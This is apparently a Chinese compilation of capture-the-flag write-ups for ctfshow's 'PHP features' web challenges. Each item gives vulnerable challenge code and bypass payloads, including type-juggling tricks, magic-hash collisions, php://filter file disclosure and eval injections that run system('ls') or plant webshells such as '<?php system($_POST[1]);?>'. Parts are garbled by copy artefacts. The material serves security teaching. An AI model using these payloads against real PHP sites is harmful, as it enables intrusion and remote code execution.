LOADING

PHP 特性

网络安全

PHP 特性

 <?php
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
} 
这里有个intval函数:获取变量的整数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。 得出pyload:?num[]=1



// intval 转换数组类型时 不关心数组中的内容 只判断数组中有没有元素
// 空数组 返回 0
// 非空数组 返回 1
?num[]=1


preg_match当检测的变量是数组的时候会报错并返回0。而intval函数当传入的变量也是数组的时候,会返回1
 <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}
因为我们提交的参数值默认就是字符串类型 所以我们可以直接输入 ?num=4476%23

intval($var,$base),其中var必填,base可选,这里base=0,则表示根据var开始的数字决定使用的进制: 0x或0X开头使用十六进制,0开头使用八进制,否则使用十进制。 这里===表示类型和数值必须相等,我们可以使用4476的八进制或十六进制绕过检测。 paylod:num=010574或num=0x117c

?num=+4476

?num=4476;

?num=4476.0

?num=4476"

?num=0x117c

?num=4476e1

【< php7.1】intval("4476e1") === 4476 【php 7.1+】intval("4476e1") === 44760 intval("4476abc") === 4476
 <?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){  // 多行模式
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}
考查:正则表达式是匹配方法 https://blog.csdn.net/qq_46091464/article/details/108278486 可以通过 %0a 绕过 payload: abc%0aphp



这道题从GET参数中获取'cmd',然后检查这个参数是否等于'php'。如果是,它会再次检查这个参数是否完全等于'php'。如果这两个检查都通过,脚本会输出'hacker',否则,它会输出flag。

问题在于,这两个检查使用了不同的正则表达式匹配模式。第一个使用了'/im',这意味着i(忽略大小写)和m(多行模式)。第二个只使用了'i',也就是忽略大小写。

这意味着,如果你可以找到一种方式让'cmd'参数在第一次检查时通过,但在第二次检查时失败,那么你就可以得到flag。

在这里,你可以利用多行模式。如果你将'cmd'参数设置为'php\nPHP',那么第一次检查会通过(因为它会在多行中查找'php',并忽略大小写),但第二次检查会失败(因为它只在单行中查找'php',并且不会忽略大小写)。

因此,你可以通过以下URL获取flag:

http://<target>/script.php?cmd=php%0aPHP

这里的'%0a'是url编码的换行符。
 <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 
intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以

1.payload:?num=4476.1

?num=0x117c

intval( mixed $var[, int $base = 10] ) : int

intval($num,0)==4476根据num的格式来决定使用的进制,这里可以使用16进制。0x117c
 <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 
过滤了字母但是我们可以使用其他进制就是计算 0b?? : 二进制0??? : 八进制 0X?? : 16进制 payload : ?num=010574

同上一题:?num=4476.1轻松绕过

增加字母过滤,可以用8进制 ?num=010574 //以 0 开头,但不以 0x 或 0X 等开头,它会被解释为八进制。



?num=010574

"010574" == 4476 False

preg_match("/[a-z]/i", "010574") False

intval("010574", 0)==4476 True

// intval 会忽略小数部分

?num=4476.5

"4476.5" == 4476 False

preg_match("/[a-z]/i", "4476.5") False

intval("4476.5", 0)==4476 True


?num=010574、?num=4476.1、?num=+4476.1
 <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
} 
在93的基础上过滤了开头为0的数字 这样的话就不能使用进制转换来进行操作 我们可以使用小数点来进行操作。这样通过intval()函数就可以变为int类型的4476 ?num=4476.0

开头不能为0,但是必须要有0

也可以使用换行: `?num=4476%0a0`

?num=4476.02

strpos(string,find,start)有三个参数,string是被检查的字符串,find是要被搜索的字符串,start是开始检索的位置,从0开始。

?num=%0A010574

?num=+010574
 <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
} 
可以通过8进制绕过但是前面必须多加一个字节 ?num=+010574或者?num=%2b010574

?num=%20010574

?num=%2b010574

?num=%09010574

?num=+010574
 <?php
highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}
在linux下面表示当前目录是 ./ 所以我们的payload: u=./flag.php

?u=php://filter/read=convert.base64-encode/resource=flag.php
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 19:36:32
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
php检查两数组是否相等的时候,不会检查指针是否相等,而是会检查元素是否相等(我的猜测是类似于调用str方法再进行对比,因为[1,2]测试了实际上不等于[2,1]而[1]是等于[1]的)

所以可以post以下内容

a[]=1&b[]=2
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?> 
在burp中将报文改成以下内容(注意修改Host为你自己的域名,以及最后一行的flag=flag的上一行是空行)
POST /?a=1 HTTP/1.1
Host: 186f9538-b339-4ad5-ab55-974b54479916.challenge.ctf.show
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie: flag=flag
FLAG: flag
Content-Length: 9

flag=flag

方法二:cookie增加HTTP_FLAG=flag 通过 URL 传递 任意值如url/?1 在 POST 请求中传递 flag=flag

解法:get随便传参,POST传入HTTP_FLAG=flag


https://www.php.cn/php-notebook-172859.html https://www.php.cn/php-weizijiaocheng-383293.html 考点是PHP里面的三元运算符和传址(引用) 传址(引用)有点像c语言里面的地址 我们可以修改一下代码

<?php
include('flag.php');
if($_GET){
$_GET=&$_POST;//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地
址)
}else{
"flag";
} i
f($_GET['flag']=='flag'){
$_GET=&$_COOKIE;
}else{
'flag';
1 2 3 4 5 6 7 8 9
10
11所以我们只需要 GET一个?HTTP_FLAG=flag 加 POST一个HTTP_FLAG=flag
中间的代码没有作用,因为我们不提交 flag 参数
web99
payload: get : ?n=1.php
post:content=<?php system($_POST[1]);?>
web100
这道题基本上没有对参数进行过滤,所以直接执行命令
payload:
web101
https://segmentfault.com/q/1010000000770535
考察使用函数打印对象里面的属性。
我们可以出100的题里面看到提示,ctfshow.php里面就只有属性。并且最后的属性就是flag.
我们可以使用Reflectionclass类,打印类的结构
payload:
} i
f($_GET['flag']=='flag'){
$_GET=&$_SERVER;
}else{
'flag';
} i
f($_GET['HTTP_FLAG']=='flag'){//需要满足这个条件就可以输出flag
highlight_file($flag);
}else{
highlight_file(__FILE__);
}

所以我们只需要 GET一个?HTTP_FLAG=flag 加 POST一个HTTP_FLAG=flag 中间的代码没有作用,因为我们不提交 flag 参数
 <?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?>
in_array函数的特性

题目代码中存在的知识点:

array_push——往数组尾部插入元素
rand(1,$i)——随机生成1-877之间的数
//所以array_push($allow, rand(1,$i))就是往数组中插入1-877之间的数字
in_array——搜索数组中是否存在指定的值:
in_array(search,array,type)
search为指定搜索的值
array为指定检索的数组
type为TRUE则 函数还会检查 search的类型是否和 array中的相同

综上,我们可以发现数组中的值是int,而在弱类型中当php字符串和int比较时,字符串会被转换成int,所以 字符串中数字后面的字符串会被忽略。题目中的in_array没有设置type,我们可以输入字符串5.php(此处数字随意,只要在rand(1,0x36d)之间即可),转换之后也就是5,明显是在题目中生成的数组中的,满足条件,同时进入下一步后,我们就可将一句话木马写入了5.php中,然后蚁剑连接即可查看到flag

<?php
highlight_file(__FILE__);
$allow = array();//设置为数组
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));//向数组里面插入随机数
} i
f(isset($_GET['n']) && in_array($_GET['n'], $allow)){
//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1
file_put_contents($_GET['n'], $_POST['content']);
//写入1.php文件 内容是<?php system($_POST[1]);?>
} ?
>

payload: get : ?n=1.php post:content=
 <?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}
?>
这道题基本上没有对参数进行过滤,所以直接执行命令
/?v1=1&v2=system("cp+ctfshow.php+1.txt")?>&v3=;

因为v2,v3不需要是数字,and运算时v0已经计算完毕了

然后访问/1.txt

根据文件提示将0x2d替换成-得到flag



简单拼接

三个参数 v1 ,v2 ,v3,其中v0 实际上只会去判断v1是否为数字 ,因此v1 = 1234 数字即可

if($v0){
    if(!preg_match("/\;/", $v2)){ # 表示v2中不能有符号 ;
        if(preg_match("/\;/", $v3)){ #表示v3 中必须要有 ;
            eval("$v2('ctfshow')$v3"); # 这里是eval中 拼接v2 v3 
        }
    }
}

v2=var_dump($ctfshow)/*
v3=*/;

拼接起来就是var_dump($ctfshow)/ ('ctfshow') / ; 可以执行

v2 也可以用其他显示输出的函数

v2=print_r($ctfshow)/*&v3=*/;
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

?> 
?v1=1&v2=echo new Reflectionclass&v3=;

替换0x2d为-,最后一位需要爆破16次,题目给的flag少一位

涉及到类,可以考虑使用 ReflectionClass 建立反射类。

new ReflectionClass($class) 可以获得类的反射对象(包含元数据信息)。

元数据对象(包含class的所有属性/方法的元数据信息)。

payload:v1=1&v2=echo new ReflectionClass&v3=;

flag中有些字符经过ACSII码变换,好像还少了一位,爆破即可
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}
?> 
GET
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=2.php
POST
v1=hex2bin
#访问1.php后查看源代码获得flag



web102

题目中几个重要的php函数: substr() 字符串截取

call_user_func() 调用方法或变量,第一个参数是调用的对象,第二个参数是被调用对象的参数

file_put_contents() 用来写文件进去,第一个参数是文件名,第二个参数是需要写进文件中的内容 文件名支持伪协议

根据上述条件分析,思路大概就是通过file_put_contents()函数来创建文件,文件中注入攻击代码即可

payload: 参数分析: v1是调用方法
v2是数字字符串,且是写进文件中的内容 v3是文件名(可通过伪协议来创建)

v3=php://filter/write=convert.base64-decode/resource=2.php v2:写进2.php的内容 ——> 查看当前页面源码;<?=cat *; ——> 转为base64为PD89YGNhdCAqYDs ——>转为16进制的ascii码为5044383959474e6864434171594473——>绕过截断,在前面随意加两位数字225044383959474e6864434171594473 v1:将数字字符串还原为base64码 ——> hex2bin

最终payload: v1=hex2bin v2=225044383959474e6864434171594473 v3=php://filter/write=convert.base64-decode/resource=2.php


发现一个很奇怪的地方...

首先观察题目,v2是数字也是文件内容,v3是文件名,v1是修改v2的函数名,最终file_put_contents,所以很明显了,就是写个马上去

同时,要去掉v2的前两个字符,更加明显了,题目用意就是让我们用16进制,0x3c3f706870206576616c28245f4745545b22636d64225d293b3f3e这个16进制数字在被hex2bin以后会变成<?php eval($_GET["cmd"]);?>,因为它是数字,所以能过掉第一个if,经过v1传入的hex2bin,被转化成并写入v3的文件中。

但是我的测试失败了,我不死心,在服务器上面写了这道题目上去,php版本5.4.16,linux/apache2,结果是可以成功写入的,is_numeric认为0x3c3f706870206576616c28245f4745545b22636d64225d293b3f3e是数字,而题目环境似乎不认为它是数字,所以无法过掉第一个if

只能通过精心构造数字115044383959474e6864434171594473传入v2,含一个e是科学计数,被hex2bin转化成base64语句,再由v3传入php://filter/write=convert.base64-decode/resource=1.php最终写入<?=`cat *`;,访问1.php打开f12就可以看到flag

最终payload

?v2=0x3c3f706870206576616c28245f4745545b22636d64225d293b3f3e&v3=/var/www/html/1.php

同时post内容:
v1=hex2bin
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

?> 
GET
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=2.php
POST
v1=hex2bin
#访问1.php后查看源代码获得flag



依然是PHP5的题目

和上一题一样, 只是写马的时候不允许依次出现php三个字母, 用<?= 替换即可 如果一定要用PHP 7环境, payload和上一题一样

我发现一个很有意思的事情 就是进行base64编码后再进行hex编码;位数不够会自动补充3d也就是=
 <?php
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}
?>
#payload
aaK1STfY
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668
<?php

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

?> 
考察:php的变量覆盖 payload: GET: ?suces=flag POST: error=suces

看懂逻辑,先GET再POST 1、题目中的$suces这个变量并未进行过多限制 2、foreach后面的$$代表覆盖复制 3、按照顺序条件触发先覆盖GET,再覆盖POST。直接在GET中?suces=flag,此时的suces就是flag 4、根据POST条件直接不为flag即可,因为?suces=flag了,所以在POST中error=suces,即可绕过所有,得到答案 payload: GET:URL/?suces=flag POST:error=suces
<?php
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}
?> 
法一

碰撞aaO8zKZF以及aaK1STfY
法二

两个数组的话指针在比较时不相等,但作为sha1的参数时,会调用方法变成字符串Array,故sha1相等



更正一下 PHP 中关于哈希函数的返回结果

不论是 md5 还是 sha1 函数,当其参数为一个数组时,函数不能将其转换为对应的哈希值,因此返回值为空(即 null),但并不是 false,而是 warning

false 的程序讨论其返回值是没有意义的,但 warning 的程序返回值会根据实际情况而有所不同

因此,当哈希函数的参数为数组时,其返回的值为 null 而不是 false
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}

?> 
GET: ?v3=240610708 POST: v1=flag=0

变量覆盖就是通过parse_str以及$$等对变量进行了覆盖。
本题中,我们可以看到必须给v1去post 一个值,才会进入if。同时,v3是get传参。

此外,要重点理解一下parse_str的含义。https://www.w3school.com.cn/php/func_string_parse_str.asp
1、如果没有设置第二个参数,则解析后将赋值给同名变量。
2、parse_str($v1,$v2),则会将v1解析后,放到v2变量里面。上面链接里面有实例。
刚开始没理解parse_str,以为v2也可以post进去,一顿乱做。下次还是要把不懂的函数,好好先看懂。

对本题而言
解法1:

我们只要满足v3的md5等于v2[flag]即可。可以传递给v3任意值,然后v1=flag=v3的md5值。
解法2:

我们传入v3[]=1,则md5($v3)就是null 这时候v1随便传,也可以满足if($v2['flag']==md5($v3))

v3=QNKCDZO; v1=flag=0 因为MD50e可以绕,


web107 首先看函数的用法 parse_str($str, $output);

我们可以得到思路 $_POST['v1']->v1=v2; $_GET['v3']->v3[]=1;

这样进入判断之后就是v3[]=1为NULL,v1=v2也为NULL; 这是我自己做题的思路,如果有哪里不对的话,请师傅们指出
 <?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}

?>
error
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

?c=a%00778

0、ereg正则匹配,需要字母开头或结尾(已废弃的功能,可能是这样...);strrev逆序倒置 1、题目给出的0x36d为16进制数,十进制为877,需要字母开头或结尾的话为877a,因为是==弱比较,可以等同于877,逆序后为a778,直接读取不行,需要加一个截断%00,截断的意思就是读到%00就不读了。 paylaod: GET:?c=a%00778

?c=a%00778 ereg函数的漏洞:00截断。%00截断及遇到%00则默认为字符串的结束 strrev() 反转字符串
 <?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}
?>
Exception 异常处理类 http://c.biancheng.net/view/6253.html payload: ?v1=Exception&v2=system('cat fl36dg.txt') ?v1=Reflectionclass&v2=system('cat fl36dg.txt')

用匿名类绕过 ?v1=class{ public function __construct(){ system('ls'); } };&v2=a

v1=内置类&v2=system('ls')即可 php中会先执行ls命令然后把结果作为参数再执行但ls的结果已经被输出了

使用ReflectionClass /?v1=ReflectionClass&v2=system('ls) 还可以利用ReflectionFunction

使用迭代器获取当前目录 FilesystemIterator可以获得文件目录,参数需要 . 或者具体路径,getcwd()这个函数可以获取当前文件路径,二者在一定条件下配合使用较好 得到文件名,再进行访问

{使用php自带的内置方法}
{在php官方文档找到带有::__toString的后缀,这种是类}
{我把带__toString的函数罗列一些出来}
CachingIterator::__toString()
DirectoryIterator::__toString
Error::__toString
Exception::__toString
pyload:
?v1= CachingIterator&v2=system(ls)
?v1= DirectoryIterator&v2=system(ls)
?v1= Error&v2=system(ls)
?v1= Exception&v2=system(ls)
 <?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}
?>
考察:php内置类 利用 FilesystemIterator 获取指定目录下的所有文件 http://phpff.com/filesystemiterator https://www.php.net/manual/zh/class.filesystemiterator.php getcwd()函数 获取当前工作目录 返回当前工作目录 payload: ?v1=FilesystemIterator&v2=getcwd



过滤掉了内置类的手法,只能硬凑了
类FilesystemIterator可以用来遍历目录,需要一个路径参数
函数getcwd可以返回当前工作路径且不需要参数,由此可以构造payload
/?v1=FilesystemIterator&v2=getcwd



这里说一下为什么Directoryiterator为什么不能用?

当你创建一个 DirectoryIterator 对象并将其实例化为某个目录时,该对象会默认指向所代表的目录。举个例子,如果你创建一个 DirectoryIterator 对象来表示 /var/www/html 目录,那么该对象就会默认指向 /var/www/html 目录。

而当你对这个目录进行迭代操作时,DirectoryIterator 会遍历该目录中的所有文件和子目录。这意味着,遍历的结果会包括当前目录 . 和上级目录 ..。通常,这两个特殊的目录会作为遍历结果的一部分返回,因为它们是文件系统中的标准目录表示法。

所以,使用 DirectoryIterator 遍历目录时,默认情况下会包括 . 和 .. 这两个目录项。
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
}
?> 
考察:全局变量 为了满足条件,我们可以利用全局变量来进行赋值给ctfshow这个变量 payload: ?v1=ctfshow&v2=GLOBALS


注意 PHP 的函数具有词法作用域

在函数内部无法调用外部的变量,除非进行传参。这道题无非注意以下几点:

    我们最终要得到 $flag 的值,就需要 var_dump($$v1) 中的 $v1 为 flag,即 $v2 要为 flag,这样 $$v2 就为 $flag,&$$v2 就为 $flag 对应的值

    URL 传参时 $v2 不能直接传为 flag,否则 $flag 会因“函数内部无法调用外部变量”的限制而导致其返回 null

    要想跨过词法作用域的限制,我们可以用 GLOBALS 常量数组,其中包含了 $flag 键值对,就可以将 $flag 的值赋给 $$v1

Payload:....../?v1=ctfshow&v2=GLOBALS
 <?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}
php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php



过滤器有很多备选

题中过滤了 data、input 等伪协议,又过滤了 string、data、rot13 相关的过滤器,但我们依然可以用 php://filter 伪协议搭载其他过滤器

常见的过滤器:

convert.quoted-printable-encode

convert.iconv.*

zlib.deflate

bzip2.compress

string.rot13

string.tolower

convert.base64-decode

选择限制字符以外的过滤器即可

当然,也可以不用过滤器:....../?file=php://filter/resource=flag.php
 <?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
} 
利用函数所能处理的长度限制进行目录溢出: 原理:/proc/self/root代表根目录,进行目录溢出,超过is_file能处理的最大长度就不认为是个文件了。 /proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php

compress.zlib://flag.php
 <?php
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
} 师傅们居然tql都是非预期 哼!
payload: php://filter/resource=flag.php

Php://filter/zlib.deflate|zlib.inflate/resource=flag.php
<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
} hacker!!!
payload:num?%0c36
%0c==\f

在php中"36"是等于"\x0c36"的,同时trim也不会过滤掉\x0c也就是%0c,提交payload: /?num=%0c36
此时$num不等于36,且为数字,trim以后也不等于36,且'\x0c36'=='36'

【payload:num=%0c36】 ①trim()函数会去掉num里的%0a %0b %0d %20 %09 这里只有%0c可用。②num!==36是对的,原因:强比较状态下是比较两个字符串,等于是'%0c36'和‘36’比是不是相等,肯定不相等。③num==36是对的。原因:弱比较状态下会把传入的num进行类似于【intval()】的一个转化【这里不一定是intval转化】最后比较的实际上是‘36’==‘36’。肯定相等。④函数is_numeric():检测是不是数字/数字字符串。这里的%0c是换页符,%09,%20都可以让is_numeric()函数为true;
 <?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>
POST: CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag



这道题目中,对c进行限制,但是没有限制字母和空格,c=echo $flag 就可以运行

但是要必须保证CTF_SHOW存在 和 CTF_SHOW.COM存在 而 fl0g 不存在

由于在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换

payload

POST : CTF_SHOW=&CTF[SHOW.COM=1&fun= echo $flag
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>
GET:?1=flag.php POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])

|GLOBALS|echo|var_dump|print 绕过了这些打印符但是 还有include 可以用为协议 payload: GET:?1=php://filter/convert.base64-encode/resource=flag.php post:CTF_SHOW=1&CTF[SHOW.COM=1&fun=include$_GET[1]

可能有人会有疑问,为什么$_GET[1]可以,$_GET['1']不行 因为被过滤了,



payload: CTF_SHOW=&CTF[SHOW.COM=&fun=var_export(get_defined_vars())

然后Ctrl + F 搜索ctfshow


GET:?php://filter/read=convert.base64-encode/resource=flag.php POST:CTF_SHOW=a&CTF[SHOW.COM=b&fun=include($a[0])



extract

本题目过滤了flag和echo,上个题目的解法无法使用。注意到最内层的if判断,只要满足if($f10g==="flag_give_me"),满足这个条件就输出flag

